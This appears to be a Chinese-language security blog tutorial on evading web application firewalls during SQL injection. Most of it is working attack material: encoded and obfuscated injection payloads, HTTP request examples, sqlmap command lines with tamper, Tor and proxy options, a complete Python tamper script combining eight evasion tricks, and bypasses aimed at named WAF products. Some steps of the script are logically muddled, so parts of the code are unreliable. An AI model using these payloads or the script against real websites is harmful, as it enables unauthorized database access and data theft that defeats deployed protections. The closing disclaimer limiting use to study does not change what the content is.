WAF绕过 | SQL注入方法详解

2025-04-13 6 0

SQL注入WAF绕过方法详解

本指南涵盖了WAF(Web Application Firewall)绕过的多种方式,结合编码、协议特性、数据库特性、规则策略等多维度技术,并补充了SQLMap的详细使用方法,以实现自动化测试和绕过WAF的目标。

WAF绕过 | SQL注入方法详解插图

一、编码绕过

1. URL编码

概念:将SQL语句的特殊字符进行URL编码,以绕过简单的关键字匹配规则。

方法

  • 单次编码:常规URL编码,每个特殊字符转换成%+十六进制值。

    • Eg:?id=1%20union%20select%201%20代表空格)

  • 二次编码:针对仅解码一次的WAF。

    • Eg:?id=1%2520union%2520select%25201%2520解析为%20,然后解码为空格)

  • 特殊字符截断:使用%00(NULL字节)截断WAF的解析。

    • Eg:?id=1%00union%20select%201(早期安全狗等WAF可能因%00终止解析)

SQLMap相关命令

  • --tamper=percent(使用URL编码)

  • --hex(使用十六进制编码)

SQLMap 使用

sqlmap -u "http://example.com/index.php?id=1" --tamper=url_double_encode 

2. Unicode编码

概念:利用Unicode编码替换SQL关键字,绕过基于字符匹配的WAF规则。

方法

  • 替换关键字符

    • Eg:?id=un%u0069on%20select%201%u0069代表i

  • 混合编码

    • Eg:?id=sel%u0065ct%20f%u0072om%20usersselect from被拆分编码)

SQLMap相关命令

  • --tamper=charunicodeencode(使用Unicode编码)

3. Hex/ASCII编码

概念:将SQL语句转换为十六进制或ASCII表示,使WAF无法直接匹配SQL关键字。

方法

  • 十六进制表示

    • Eg(MSSQL):?id=1;exec(0x730065006c00650063007400200075007300650072)select user的HEX编码)

  • 字符拼接

    • Eg(MySQL):?id=1+union+select+CONCAT(0x7e,version())

SQLMap相关命令

  • --hex(使用十六进制编码)

二、协议与请求特性绕过

1. HTTP参数污染

概念:在HTTP请求中使用多个相同的参数,利用后端解析差异绕过WAF。

方法

  • 同名参数覆盖

    • Eg:?id=1&id=union+select+1,2,3

  • 参数拆分

    • Eg:?id=1+union&id=select&id=1+from+admin

SQLMap相关命令

  • --tamper=space2comment(使用/**/绕过)

  • --random-agent(随机UA绕过)

2. 请求方法欺骗

概念:利用HTTP方法(GET/POST/HEAD/OPTIONS)差异绕过WAF。

方法

  • GET 转 POST

    • Eg:

    POST /index.php HTTP/1.1 

Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

id=1+union+select+1,2,3
```

  • 非常规方法

    • Eg:

    HEAD /?id=1+union+select+1 HTTP/1.1 

Host: example.com
```

SQLMap相关命令

  • --method=POST(强制POST)

  • --force-ssl(强制HTTPS)

三、数据库特性绕过

1. MySQL绕过

方法

  • 松散空格:使用+/**/代替空格。

    • Eg:?id=1+union/**/select/**/1

  • 内联执行

    • Eg:?id=1+/*!50001union*+/*!50001select*/database()

SQLMap相关命令

  • --tamper=space2plus

  • --dbms=mysql(指定MySQL)

2. MSSQL绕过

方法

  • HEX编码

    • Eg:?id=1;exec(0x770061006900740066006f0072002000640065006c00610079)

  • 变量声明

    • Eg:?id=1;declare @a varchar(50);set @a='sel'+'ect user';exec(@a)

SQLMap相关命令

  • --dbms=mssql

  • --hex

四、规则策略绕过

1. 关键字拆分与替换

方法

  • 双写绕过

    • Eg:?id=1+ununionion+selselectect+1

  • 符号替换

    • Eg:?id=1||1=1||代替OR

SQLMap相关命令

  • --tamper=equaltolike

  • --tamper=between

2. 白名单与速率限制绕过

方法

  • 伪造User-Agent

    • Eg:

    GET /?id=1+union+select+1 HTTP/1.1 

Host: example.com
User-Agent: Baiduspider
```

  • 低频率请求

    • Eg:使用Burp Intruder设置多个代理IP轮询。

SQLMap相关命令

  • --random-agent

  • --tor

  • --proxy=http://127.0.0.1:8080

五、SQLMap完整绕过

常见SQLMap命令

sqlmap -u "http://example.com/index.php?id=1" --dbs --random-agent --tamper=between,charunicodeencode,percent 

POST请求绕过

sqlmap -u "http://example.com/index.php" --data="id=1" --method=POST --dbs --tamper=space2comment 

绕过WAF的组合

sqlmap -u "http://example.com/index.php?id=1" --dbs --level=5 --risk=3 --random-agent --hex --tamper=between,space2comment 

你可以将多个 SQLMaptamper绕过方法合并到一个 Python 文件中,使其在一次执行中应用多个绕过技术。这可以提高绕过 WAF 的成功率,同时减少--tamper参数的长度。

六、多功能 SQLMaptamper脚本

1、包含的绕过方式

  1. URL 双重编码%2520代替%20

  2. 空格替换+(绕过空格检测)

  3. =替换为LIKE(绕过=过滤)

  4. SQL 关键字大小写混淆(绕过基于特定大小写的 WAF)

  5. SQL 关键字注释混淆(在 SQL 关键字中插入/**/

  6. 十六进制编码(对 SQL 语句进行0xHEX编码)

  7. 关键字双写绕过SELECTSELECT代替SELECT

  8. URL 空格换行符绕过%0A代替%20

2、代码

import binascii import random from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): if not payload: return payload # 1. URL 双重编码 payload = payload.replace(" ", "%20").replace("%", "%25") # 2. 空格替换 `+` payload = payload.replace("%20", "+") # 3. 替换 `=` 为 `LIKE` payload = payload.replace("=", " LIKE ") # 4. SQL 关键字大小写混淆(随机大小写) new_payload = "" for char in payload: if char.isalpha() and random.choice([True, False]): new_payload += char.upper() else: new_payload += char.lower() payload = new_payload # 5. SQL 关键字注释混淆 keywords = ["SELECT", "UNION", "FROM", "WHERE", "INSERT", "UPDATE", "DELETE"] for keyword in keywords: payload = payload.replace(keyword, f"/**/{keyword}/**/") # 6. 十六进制编码(对完整 payload 进行 HEX 转换) hex_payload = "0x" + binascii.hexlify(payload.encode()).decode() payload = hex_payload # 7. 关键字双写绕过(`SELECTSELECT` 代替 `SELECT`) for keyword in keywords: payload = payload.replace(keyword, keyword * 2) # 8. URL 空格换行符绕过 payload = payload.replace("+", "%0A") return payload 

3、SQLMap 使用

sqlmap -u "http://example.com/index.php?id=1" --tamper=combined_bypass 

七、脚本逻辑解析

  1. URL 双重编码

    • %20 → %2520进行两次 URL 编码

  2. 空格替换+

    • id=1 union select 1id=1+union+select+1

  3. =替换为LIKE

    • id=1id LIKE 1

  4. 随机大小写

    • union selectUnIoN sElEcT

  5. SQL 关键字插入注释

    • SELECT/**/SELECT/**/

  6. 十六进制编码

    • SELECT user()0x53454c45435420757365722829

  7. 关键字双写

    • SELECTSELECTSELECT

  8. 空格换行符绕过

    • +替换为%0A

适用场景

  • WAF 只进行一次 URL 解码

  • 过滤SELECTUNION等关键字

  • 过滤=,但允许LIKE

  • 过滤空格,但允许+%0A

  • 基于大小写匹配的 WAF

  • 基于正则匹配的 WAF

这个 合并 tamper版本结合了多个绕过技巧,提高了绕过成功率,你可以直接用它来测试不同的目标。

八、实战案例

1. 安全狗绕过

  • %00截断?id=1%00union%20select%201

  • 逻辑混淆?id=1+a%n%d+1=1

2. Discuz X绕过

  • 反引号绕过?id=@'\ union\ select\ 1\ from\ admin

3. IIS绕过

  • 字符编码混淆?id=SEL%E%CT%201+FROM%20users


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

NIDS开发之IP分片重组和TCP段重组
亚马逊EC2 SSM Agent路径遍历漏洞完成修复 攻击者可借此实现权限提升
管道魔法木马利用Windows零日漏洞部署勒索软件
疑似Kimsuky(APT-Q-2)针对韩国企业发起攻击
攻击者正利用OttoKit WordPress插件新披露漏洞实施攻击
Vulnhub:The Planets: Earth Writeup

发布评论